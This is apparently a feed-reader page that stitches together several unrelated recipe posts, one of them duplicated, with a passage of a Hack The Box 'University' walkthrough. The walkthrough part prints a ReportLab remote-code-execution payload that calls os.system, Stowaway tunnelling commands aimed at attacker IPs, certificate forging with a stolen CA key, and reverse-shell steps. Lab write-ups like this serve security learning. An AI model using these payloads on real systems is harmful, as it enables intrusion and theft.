Reading view

There are new articles available, click to refresh the page.

Roasted Whole Sweet Potato

By: Charlie

Sweet potatoes are my go-to side dish because they’re incredibly forgiving and always delicious. Roasting them whole is the simplest method—no peeling or chopping required. They’re perfect for weeknight dinners, holiday meals, or Sunday suppers. Serve them as a simple side with butter and salt, or load them up with toppings for an easy vegetarian […]

The post Roasted Whole Sweet Potato appeared first on Simply Meat Smoking.

Baked root vegetables

baked root vegetables
Why would you skip a platterful of colourful vegetables, that are a perfect side, salad or morning hash? Enjoy the starchy bites of roasted goodness.
It is a small respite from the numerous Indian festivals and the chill in the air is still hanging around. Therefore a perfect time to get that platter or baked root vegetables out. I like baked root vegetables a bit more than pan roasted ones for the following reasons
  • They are one pot so much less effort.
  • The starchier sweetness improves your baking adding a ton more cozy feeling.
  • When I bake my kitchen is warm at the same time.
  • It is a recipe that you can do as a big batch with minimal prep and have all week long in the fridge.
  • It pairs well with pasta, rice or any grains,can be rolled as wraps or made into a salad.

Ingredients for baked root vegetables.

The vegetables: the baked vegetable tray is one recipe that allows you so much flexibility in terms of what you can have. You can make it as colourful as you like or as monochrome as you prefer. Here is a list of vegetables I like to throw into the tray.

  • Sweet potatoes
  • Carrot
  • Turnip
  • Potato
  • Radish
  • Swedes
  • Beetroot

For roasting: Olive oil, salt and herbs are the ones that work. The herbs I have chosen is rosemary and oregano. You can use thyme or basil as well. 

Lets make baked root vegetables

The baked vegetables is the best use of a roasting tray.

Prep the vegetables: choose starchy tough vegetables to start with. Wash thoroughly. Cut them into big chunks or dices as you prefer. Keep the beets separately. The carrots, potato sweet potato, radish, parsnip, swedes, turnip can all go together.

Coat them in flavours. Since the vegetables are going to be soft and bland, it is best to coat them with flavours. Sprinkle salt, pepper abd drizzle oil and toss them well. For flavours I prefer to add fresh study herbs that just dont burn away. Rosemary, oregano and thyme are my first choice. Go with what feels natural to you. You can replace the pepper with chilli flakes if you like the heat. Lets the vegetable mix sit while you preheat the oven
Ensure that the beets are coated and kept separate.

Bake: preheat the oven at 180 degrees for 10 minutes. Place the vegetables on a roasting tray. Spread them out evenly. Poke in pieces of beets into the gaps so they cook along. Roast the vegetables for 35 to 40 minutes at 180 degrees Celsius on heat both from up and down. Half way through the time, flip the vegetables over to ensure even roasting. After about 35 minutes the vegetables will be ready and fork tender. Remove from heat and direct to the table. Or cool and proceed for storage.

baked vegetables

Meal prep and storage

The baked root vegetables are wonderful to add bulk to any meal or in the lunch box.

Is this a vegan recipe?

Baked root vegetable is an excellent vegan platter. It is filling, a mix of good healthy fibre and carbs and perfect for any vegan meal.

How to make baked root vegetables into a salad?

Once you have the baked veggies in meal prep you can have a hearty salad with it. For the dressing I prepare a generous mix of lemon and lime juice with some pepper and salt. Then you need some freshness. Chop up some tomatoes, a cucumber and handful of oregano, mint and parsley. Add all this into the mixing bowl with double the quantity of baked vegetables. Pour the dressing over it. Toss well and serve immediately. They are great sides to meals and double up as salads. You can add a bunch to your breakfasts to as hash.

How do you ensure the beets don’t leech the colour all over?

There are a couple of ways you can achieve this. If you peel chop and place the beets separately, then place them on the tray to bake it will have zero leaching.
Another method is to ensure you add the beets right at the end, a quick toss in the oil and salt and straight into the oven.

Print

Baked root vegetables

Course Main Dish
Cuisine Baking, gluten free, Vegan
Keyword pot luck recipes, vegetarian barbecue, Winter warmers
Prep Time 10 minutes
Cook Time 30 minutes
Servings 6

Equipment

  • baking trays
  • Cutting board
  • Knife

Ingredients

  • 3 medium sized carrots
  • 1 large sweet potato
  • 1 turnip
  • 1 swedes
  • 1 large beetroot
  • 1 medium sized potatoes
  • 2 tbsp olive oil
  • salt to taste
  • 1 sprig rosemary
  • 5-7 leaves oregano

Instructions

  • Wash, peel and cut the vegetables into big chunks.
  • Add them to the baking tray.
  • Tuck in rosemary and oregano.
  • Spinkle salt and drizzle oilve oil and massage it in.
  • Preheat the oven at 180 degrees for 10 minutes.
  • Place the tray in the oven to bake.
  • Bake for 30 minutes.
  • About 15 minutes in turn the vegetables for even baking.
  • After 30 minutes, check if the vegetables are fork tender.
  • The vegetables are then ready to be served.

Other baked recipes from us that make a good mealprep

Baked whole cauliflower

Dried peas nuggets

Baked veggie sheek kebabs

Paneer puffs

Stay connected

Hope you enjoy making this batch of low effort baked root vegetables. When you make your batch using this recipe, do share your thoughts and improvements in the comments below.
Pin this for later.
Stay subscribed see you in the next post. 

baked root vegetables

Pumpkin & Potato in Mustard Oil

By: Rapti B

Pumpkin & potato are tempered with nigella seeds and slow-cooked in mustard oil for a dish that heroes the pumpkin’s sweetness. 

Calling all home cooks looking for quick and healthy weekday/weeknight meal ideas – add this pumpkin & potato in mustard oil dish to your repertoire! It’s the kind that comes together in a jiffy, requires just one spice (coz salt and turmeric powder are MUSTS and don’t count) and pairs well with rice or Indian bread of choice. 

The Pumpkin & Potato in Mustard Oil is a version of the Kumdo’r Chechki, a traditional Bengali side dish wherein the pumpkin is grated or (extremely) thinly sliced and slowly cooked in its own juices. It’s the kind of dish that celebrates the natural flavours of the vegetable. If you’d like to try a traditional chechki, head over to the recipe for Mulo Chechki (provided radishes are in season). 

Pumpkin & Potato in Mustard Oil | Copyright Image | From The Corner Table
Tips to remember for the Pumpkin & Potato in Mustard Oil 
  • Julienne the vegetables and try to maintain consistency in size; this helps all the food cook evenly. 
  • Remember to add the pumpkin later, as it cooks faster than potatoes. 
  • You can make this without the potato; just increase the amount of pumpkin.
  • Always use double the amount of pumpkin as it reduces when cooked.

Do let me know if you try this recipe! Leave a comment and don’t forget to tag me on Instagram at from.the.corner.table and hashtag it #fromthecornertable. I’d love to see it ❤

For regular updates on recipes, recommendations on things to read and watch and ramblings that make sense, subscribe to the newsletter – you’ll find the form in the sidebar if viewing on a screen and at the bottom if viewing on the phone. Since spamming or flooding your inbox is a huge no for me, these newsletters go out only when I’ve put up a new post or sometimes, once in a month only.

Pumpkin & Potato in Mustard Oil

Pumpkin & potato are tempered with nigella seeds and slow-cooked in mustard oil for a dish that heroes the pumpkin’s sweetness.

  • 200 grams Pumpkin
  • 100 grams Potato
  • 1 medium Onion
  • 1 Green chilli
  • 1 tablespoon Mustard oil
  • ¼ teaspoon Nigella seeds
  • Salt (to taste)
  • ¼ teaspoon Turmeric Powder
  1. Peel and slice/julienne the pumpkin, potato and onion; keep them in separate bowls/plates.
  2. In a kadhai/deep pan, heat mustard oil.
  3. Once the oil is hot, add nigella seeds and green chilli.
  4. Let the nigella seeds splutter.
  5. Add the onion and potato; cover and cook on low flame for 2-3 minutes.
  6. Add the pumpkin, turmeric powder and salt to taste.
  7. Cover with a tight lid and let the vegetables cook in steam and moisture until the potato is cooked.
  8. Stir frequently to prevent the vegetables from sticking to the bottom of the vessel.
  9. Serve hot with roti/paratha or as a side dish with rice and dal.
Side
Bengali (Indian)
bengali cuisine, kalo jeere, kalonji, mashed potato, mustard oil, nigella seeds, pumpkin, spring onion

Pumpkin & Potato in Mustard Oil

By: Rapti B

Pumpkin & potato are tempered with nigella seeds and slow-cooked in mustard oil for a dish that heroes the pumpkin’s sweetness. 

Calling all home cooks looking for quick and healthy weekday/weeknight meal ideas – add this pumpkin & potato in mustard oil dish to your repertoire! It’s the kind that comes together in a jiffy, requires just one spice (coz salt and turmeric powder are MUSTS and don’t count) and pairs well with rice or Indian bread of choice. 

The Pumpkin & Potato in Mustard Oil is a version of the Kumdo’r Chechki, a traditional Bengali side dish wherein the pumpkin is grated or (extremely) thinly sliced and slowly cooked in its own juices. It’s the kind of dish that celebrates the natural flavours of the vegetable. If you’d like to try a traditional chechki, head over to the recipe for Mulo Chechki (provided radishes are in season). 

Pumpkin & Potato in Mustard Oil | Copyright Image | From The Corner Table
Tips to remember for the Pumpkin & Potato in Mustard Oil 
  • Julienne the vegetables and try to maintain consistency in size; this helps all the food cook evenly. 
  • Remember to add the pumpkin later, as it cooks faster than potatoes. 
  • You can make this without the potato; just increase the amount of pumpkin.
  • Always use double the amount of pumpkin as it reduces when cooked.

Do let me know if you try this recipe! Leave a comment and don’t forget to tag me on Instagram at from.the.corner.table and hashtag it #fromthecornertable. I’d love to see it ❤

For regular updates on recipes, recommendations on things to read and watch and ramblings that make sense, subscribe to the newsletter – you’ll find the form in the sidebar if viewing on a screen and at the bottom if viewing on the phone. Since spamming or flooding your inbox is a huge no for me, these newsletters go out only when I’ve put up a new post or sometimes, once in a month only.

Pumpkin & Potato in Mustard Oil

Pumpkin & potato are tempered with nigella seeds and slow-cooked in mustard oil for a dish that heroes the pumpkin’s sweetness.

  • 200 grams Pumpkin
  • 100 grams Potato
  • 1 medium Onion
  • 1 Green chilli
  • 1 tablespoon Mustard oil
  • ¼ teaspoon Nigella seeds
  • Salt (to taste)
  • ¼ teaspoon Turmeric Powder
  1. Peel and slice/julienne the pumpkin, potato and onion; keep them in separate bowls/plates.
  2. In a kadhai/deep pan, heat mustard oil.
  3. Once the oil is hot, add nigella seeds and green chilli.
  4. Let the nigella seeds splutter.
  5. Add the onion and potato; cover and cook on low flame for 2-3 minutes.
  6. Add the pumpkin, turmeric powder and salt to taste.
  7. Cover with a tight lid and let the vegetables cook in steam and moisture until the potato is cooked.
  8. Stir frequently to prevent the vegetables from sticking to the bottom of the vessel.
  9. Serve hot with roti/paratha or as a side dish with rice and dal.
Side
Bengali (Indian)
bengali cuisine, kalo jeere, kalonji, mashed potato, mustard oil, nigella seeds, pumpkin, spring onion

Roasted Potato Recipe | Crispy and Perfect

Roasted potato recipe in the oven to satisfy your crispy potato cravings. Thes Crispy Oven Roasted Potatoes are the ultimate quick party snack! This easy oven roasted potatoes recipe makes golden, crunchy potatoes with a soft, fluffy center of the perfect crispy roasted potatoes.

crispy roasted potato recipe

All you need is just a handful of ingredients and follow a few simple steps that I am sharing along with tips for restaurant-level crunch right in your kitchen. I am sharing very simple tips to make crispiest roast pototoes with a satisfying crunch.

These oven roasted potatoes are incredibly versatile, and a perfect side dish or appetizer for any occasion. Whether for a cozy dinner or your next gathering, everyone will love these roasted potatoes!

With a golden, crunchy crust on the outside and a soft, fluffy center, these roasted potatoes are everything you want in a potato snack.

Why You Should Try This Recipe:

  • Foolproof Recipe: This technique guarantees perfectly crispy roasted potatoes every time, even if you’re new to cooking.
  • Versatile Snack or Side Dish: Dress up the potatoes with different herbs, spices, and toppings for unique taste every time.
  • Healthy Alternative to Fried Potatoes: By roasting instead of frying, you’re using much less oil
  • Quick Preparation: These require minimum prep time. Crispy potatoes are on the table in just about 40 minutes. Perfect for last-minute meal prep or spontaneous gatherings.
  • Budget-Friendly: Potatoes are an affordable ingredient, that makes this recipe a cost-effective option that doesn’t skimp on taste or quality.

Ingredients For Roasted Potato Recipe

  • Salt: Enhances the flavor and helps break down the potato’s surface to create that crispy outer layer.
  • Baking Soda: This is the secret weapon! The alkalinity helps break down the potato’s surface starch, which gives them that perfect crispy texture.
  • Russet or Yukon Gold Potatoes: These are ideal for roasting due to their starchy, fluffy interiors. Russets are best for extra crispiness, while Yukon Golds give a slightly creamier texture.
  • Olive Oil: Helps to roast the potatoes and allows them to crisp up evenly in the oven. We’re also infusing it with rosemary for added flavor!
  • Fresh Rosemary Leaves: Infuses the oil with aromatic, earthy flavors that complement the crispy potatoes.
  • Black Pepper: Adds a bit of heat and depth to the dish.
  • Parsley: Provides freshness and a pop of color as a final garnish.

How to Make Crispy Roast Potatoes In Oven

  • Step 1: Preparing the Potatoes Wash, peel, and cut russet or Yukon Gold potatoes into large chunks.
  • Step 2: Parboiling the Potatoes Bring water to a gentle boil, add salt and baking soda. Parboil potatoes for 10-15 minutes until they are slightly tender.
  • Step 3: Draining and Drying the Potatoes Drain the potatoes and let them sit for a few minutes to dry out.
  • Step 4: Making Herb-Infused Oil Heat olive oil with chopped rosemary, strain out the rosemary, and set aside.
  • Step 5: Coating the Potatoes Add the herb-infused oil, salt, and pepper to the potatoes. Shake the bowl to create a starchy coating on the surface of the potatoes.
  • Step 6: Roasting the Potatoes Spread potatoes on a baking tray in a single layer. Roast at 230°C for 15 minutes.
  • Step 7: Turning the Potatoes Take the potatoes out of the oven and flip them with metal spatula, so that other side can roast evenly
  • Step 8: Final roast: Roast for an additional 5 minutes until golden and crispy. finally add crispy rosemary bits and freshly chopped parsley.

Substitutions You Can Make

  • You can swap the russet or Yukon Gold potatoes for sweet potatoes if you want a slightly sweeter flavor profile.
  • You can use avocado oil instead of olive oil for a different flavor or if you prefer a higher smoke point oil.
  • You can add garlic during the herb-infusing step for a roasted garlic flavor that pairs beautifully with crispy potatoes.
  • You can try thyme or oregano in place of rosemary if you’re looking for a slightly different herbaceous note.

Variations of Roasted Potato Recipe

  • Cheesy Garlic Potatoes: After roasting, sprinkle grated Parmesan or cheddar cheese over the potatoes and return them to the oven for a few minutes to melt the cheese.
  • Spicy Roasted Potatoes: Add a teaspoon of smoked paprika or cayenne pepper to the herb oil for a spicy kick.
  • Lemon Herb Potatoes: Squeeze some fresh lemon juice over the potatoes after roasting for a bright, zesty finish.
  • Truffle Potatoes: Drizzle a little truffle oil over the potatoes once they’re out of the oven for an indulgent, gourmet touch.
  • Loaded Baked Potatoes: Top the roasted potatoes with sour cream, green onions, and crumbled bacon for a hearty, loaded potato version.

Tips to Make the Best Crispy Roast Potato

  1. Don’t skip the parboiling: Parboiling softens the potatoes just enough to make them fluffy inside while leaving the outside ready to crisp up in the oven.
  2. Use a hot oven: Make sure your oven is preheated to a high temperature to guarantee crispy, golden-brown potatoes.
  3. Don’t overcrowd the pan: Spread the potatoes out in a single layer on the baking tray. If they’re too close together, they’ll steam instead of roasting.
  4. Shake the potatoes: Tossing the potatoes roughly after parboiling creates a starchy coating that leads to an extra crispy exterior when roasted.

Storing and Reheating

To store leftover roasted potatoes, transfer them to an airtight container and refrigerate them for up to three days. When reheating, it’s best to use the oven or an air fryer to restore their crisp texture. Avoid microwaving, as this will make them soggy. Simply spread the potatoes on a baking sheet and reheat them in a preheated oven at 200°C (400°F) for about 10 minutes, or until they’re crispy again.

Serving Suggestions

These crispy roasted potato are perfect served as side dish for your favorite meals. Whether it’s grilled chicken, steak, or a fresh salad. They also make a fantastic party snack, especially when served with a dip like this Labneh Tomato Dip , Tzatziki or even Guacamole.

For a fancier presentation, sprinkle over some extra herbs or add a drizzle of truffle oil right before serving.

FAQs

Can I make these potatoes in advance?

Yes! You can parboil the potatoes ahead of time and refrigerate them for up to 24 hours before roasting. This can actually make them even crispier.

Can I use a different type of potato?

Russet and Yukon Gold potatoes work best, but you can use red potatoes or fingerlings if needed. Just note that the texture may be slightly different.

Can I skip the baking soda?

Baking soda is key to breaking down the exterior of the potatoes, which creates that perfect crispy texture. You can skip it, but your potatoes may not be as crispy.

How do I store leftover roasted potatoes?

Store them in an airtight container in the fridge for up to 3 days. To reheat, place them in a hot oven or air fryer to restore their crispiness.

Can I freeze these potatoes?

Yes! Parboil the potatoes, then freeze them in a single layer. When ready to cook, roast them directly from frozen—just add a few extra minutes to the cooking time.

More Such Recipes

Watch Video

If You like this recipe and made it Please rate the recipe. It helps us to reach more people. For the Latest updates Subscribe to Rekha’s Whatsapp. You can follow me on InstagramFacebookYoutubePinterest for more food inspirations.

Print

Easy Roast Potato Recipe | Oven Roasted Potatoes

Easy Roast potato recipe to make the perfect oven roasted potatoes! Crispy on the outside and fluffy on the inside, these potato snacks are ideal as a quick party snack or side dish everyone will love.
Course Appetizer, Side Dish
Cuisine American
Keyword easy to make, oven roasted potatoes, Quick party snack
Prep Time 15 minutes
Cook Time 25 minutes
Total Time 40 minutes
Servings 4 people
Calories 238kcal

Ingredients

  • 1 tsp salt
  • 1/2 teaspoon baking soda
  • 2 pounds russet or Yukon Gold potatoes
  • 2 tablespoon olive oil
  • rosemary leaves minced
  • ½ tsp black pepper Freshly ground
  • Parsley leaves (minced)

Instructions

  • Step 1: Preparing the Potatoes Wash, peel, and cut russet or Yukon Gold potatoes into large chunks.
  • Step 2: Parboiling the Potatoes Bring water to a gentle boil, add salt and baking soda. Parboil potatoes for 10-15 minutes until they are slightly tender.
  • Step 3: Draining and Drying the Potatoes Drain the potatoes and let them sit for a few minutes to dry out.
  • Step 4: Making Herb-Infused Oil Heat olive oil with chopped rosemary, strain out the rosemary, and set aside.
  • Step 5: Coating the Potatoes Toss the potatoes in the herb-infused oil, salt, and pepper. Shake the bowl to create a starchy coating on the surface of the potatoes.
  • Step 6: Roasting the Potatoes Spread potatoes on a baking tray in a single layer. Roast at 230°C for 15 minutes.
  • Step 7: Turning the Potatoes Flip the potatoes over, add crispy rosemary bits, and freshly chopped parsley.
  • Step 8: Final roast: Roast for an additional 5 minutes until golden and crispy.

Video

Notes

  1. Don’t skip the parboiling: Parboiling softens the potatoes just enough to make them fluffy inside while leaving the outside ready to crisp up in the oven.
  2. Use a hot oven: Make sure your oven is preheated to a high temperature to guarantee crispy, golden-brown potatoes.
  3. Don’t overcrowd the pan: Spread the potatoes out in a single layer on the baking tray. If they’re too close together, they’ll steam instead of roasting.
  4. Shake the potatoes: Tossing the potatoes roughly after parboiling creates a starchy coating that leads to an extra crispy exterior when roasted.

Nutrition

Calories: 238kcal | Carbohydrates: 40g | Protein: 5g | Fat: 7g | Saturated Fat: 1g | Polyunsaturated Fat: 1g | Monounsaturated Fat: 5g | Sodium: 742mg | Potassium: 958mg | Fiber: 5g | Sugar: 2g | Vitamin A: 6IU | Vitamin C: 45mg | Calcium: 29mg | Iron: 2mg

💾

Make these irresistible crispy roasted rosemary potatoes and Enjoy them for your parties and gatherings. This easy recipe help you make the best crispiest po...

Hack The Box: University Machine Walkthrough – Insane Walkthrough

By: darknite
Reading Time: 17 minutes

Introduction to University:

The “University” machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSec’s, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.

Objectives

  • User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
  • Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administrator’s hash.

Reconnaissance

Reconnaissance identifies services and attack vectors in the AD environment.

Initial Network Scanning

Scan all ports to map services.

Command:

nmap -sC -sV 10.10.11.39 -oA initial

Output:

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

Analysis:

  • Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
  • Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
  • Port 53: DNS service associated with Active Directory.
  • Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.

Web Exploitation

ReportLab RCE (CVE-2023-33733)

Exploit ReportLab’s RCE vulnerability in /profile’s PDF export to gain a wao shell.

When I accessed the web server, I saw a minimalistic and straightforward interface.

A screenshot of a login page

AI-generated content may be incorrect.

Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer

A blue background with white text

AI-generated content may be incorrect.

Consequently, a new ‘Student’ account was created to further enumerate the application, given that this role appeared to be publicly accessible.

A screenshot of a login form

AI-generated content may be incorrect.

Random placeholder information filled the registration fields, as illustrated in the example above

A screenshot of a login screen

AI-generated content may be incorrect.

We enter the credentials we created earlier.

A screenshot of a computer

AI-generated content may be incorrect.

Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.

A screenshot of a social media account

AI-generated content may be incorrect.

The section labelled ‘Profile Export’ appeared promising for exploring potential functionality or vulnerabilities

A screenshot of a computer

AI-generated content may be incorrect.

The PDF report uses a clear and concise format, modeled after the examples provided above

Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb

A screenshot of a computer screen

AI-generated content may be incorrect.

While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement

During the SolarLab machine exercise, the exploitation process resembled the steps outlined below

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Therefore, the team retested the exploit on the current machine to confirm its applicability.

A screen shot of a computer

AI-generated content may be incorrect.

Let’s start our Python server listener

A screenshot of a computer

AI-generated content may be incorrect.

The exploitation method follows the general approach illustrated below

A screenshot of a computer

AI-generated content may be incorrect.

The profile was updated successfully.

A screen shot of a computer

AI-generated content may be incorrect.

A lack of response from the target indicated a failure

A screenshot of a social media account

AI-generated content may be incorrect.

It may be necessary to trigger the action by clicking the “Profile Export” button

A screen shot of a computer

AI-generated content may be incorrect.

As expected, triggering the action returned a response.

A screenshot of a computer

AI-generated content may be incorrect.

Refined and updated the payload to achieve the intended outcome.

A screen shot of a computer

AI-generated content may be incorrect.

We received a response, but the file was missing

A screen shot of a computer

AI-generated content may be incorrect.

Let’s start the listener.

A screenshot of a computer

AI-generated content may be incorrect.

We executed a Python3 reverse shell script to establish a callback connection.

A screen shot of a computer

AI-generated content may be incorrect.

Unfortunately, I received no response from the target

A screenshot of a computer

AI-generated content may be incorrect.

I also conducted a test using a Base64-encoded PowerShell command.

A screen shot of a computer

AI-generated content may be incorrect.

Once again, there was no response from the target

Troubleshooting and Resolution Steps on University machine

A computer screen shot of a computer

AI-generated content may be incorrect.

The team adjusted the command and subsequently tested its effectiveness.

A computer screen with green text

AI-generated content may be incorrect.

The callback succeeded this time, returning the shell.py file from the server.

A computer screen with green text

AI-generated content may be incorrect.

The result exceeded expectations.

A black background with green text

AI-generated content may be incorrect.

Access was successfully obtained for user ‘wao’.

BloodHound enumeration

Since we are using a Windows machine, let’s proceed to analyse BloodHound.

There is a significant amount of information here.

WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.

By examining the browse.w connection, we were able to gather a substantial amount of information.

Enumerate the machine as WAO access on the University machine

A screenshot of a computer

AI-generated content may be incorrect.

The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.

In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authority’s trust chain.

Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.

SQLite database enumeration on university machine

Download the db.sqlite3 file to our local machine.

The screenshot above displays the available tables in the database.

Therefore, these hashes can be cracked at a later stage to uncover additional credentials.

Reviewing the Database Backups

A screenshot of a computer screen

AI-generated content may be incorrect.

We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.

A computer screen with green text

AI-generated content may be incorrect.

Although the script doesn’t specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that account’s permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.

A screenshot of a computer

AI-generated content may be incorrect.

After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although it’s not best practice, it’s common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.

The term “Internal-VSwitch1” typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.

An “Internal” virtual switch in Hyper-V does not have an IP address itself; rather, the host’s virtual network adapter connected to that internal switch will have an IP address.

SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.

Let’s transfer the nmap binary to the victim’s machine

The team successfully executed the nmap scan on the victim’s machine

We encountered an error that required us to use the– unprivileged option for successful execution.

Unfortunately, the command still fails to work even after adding the –unprivileged option.

Therefore, at this point, let’s switch to using an alternative scanning tool like rustscan.

Finally, we successfully identified the open ports for the machines:

  • 192.168.99.12 has port [22] open.
  • 192.168.99.1 has ports [53, 80, 88, 593, 135, 139, 139, 445, 389, 636, 3268, 3269, 5985, 5985] open.
  • 192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.

Stowaway usage

Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.

It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.

The following commands are available to use:

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

Upload the agent onto the victim’s machine.

Run the command I provided earlier.

If the connection is successful, it will appear as shown in the screenshot above.

Therefore, let’s perform port forwarding using the ports we identified earlier.

We can access WS-3 using the credentials obtained earlier.

Access as wao windows

Finally, we successfully gained access.

We also successfully accessed the LAB-2 environment.

The binary we discovered here indicates that we can escalate to root access easily without relying on an exploit.

I presume we have root access inside the Docker container.

Analyze the machine on University machine

Inside the README.txt file, the message reads:

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team  Rose Lanosta

There’s nothing of interest that I found inside here related to the LAB-2 environment.

Automation-Scripts on University machine

There is an Automation-Scripts directory that could potentially contain malicious code.

There are two PowerShell (.ps1) files we can examine within the Automation-Scripts directory.

Unfortunately, all access attempts were denied.

The date is displayed above.

The Forgotten Campus – Rediscovering the University Web

A screenshot of a login page

AI-generated content may be incorrect.

The login page features a signed certificate.

A Certificate Signing Request (CSR) file is required to proceed further.

Execute the openssl req command.

A CSR file needs to be generated.

Use the following command to sign the CSR and generate the certificate:

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

This command takes the CSR file My-CSR.csr, signs it using the CA’s certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesn’t exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.

Finally, we have provided the george.pem file.

Access as George on dashboard

Use the george.pem file to attempt the login.

Finally, we successfully accessed the system as george.

It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professor’s CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.

Log out again, then use the signed-cert.pem file to log back in. You should be able to click on “Create a New Course” without encountering any errors.

Create course on dashboard

You can now create a course—just write something, and after creating it, you will find an option at the bottom to add a new lecture.

Lastly, the Course Dashboard is displayed above.

The new course has been created successfully. Check out the Course Dashboard above to explore it.

There are three functions available within course preferences.

Let’s add a new lecture to the course.

Executing the command provided above.

Develop a malicious executable file.

Set up a new folder and upload the malicious file to it.

Generate the passphrase.

The command gpg -u george –detach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID “george” with the -u flag, the command employs George’s private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.

Add a new course here.

The command gpg –export -a “george” > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID “george” in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for “george.”

Upload the file to the dashboard.

An error is displayed above stating “Invalid Lecture Integrity.”

Upload the public key here.

Upload the public key successfully

Start the listener in LAB-2.

Access as Martin.T on Lab-2 environment

After a short while, we successfully receive a reverse shell connection.

We successfully gained access to the system as the user martin.t

The user flag has been successfully retrieved.

We can read the user flag by typing type user.txt

Escalate to Root Privilleges Access

Privileges Access

SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.

Investigate further on University machine

We can retrieve scheduled tasks using the Get-ScheduledTask command.

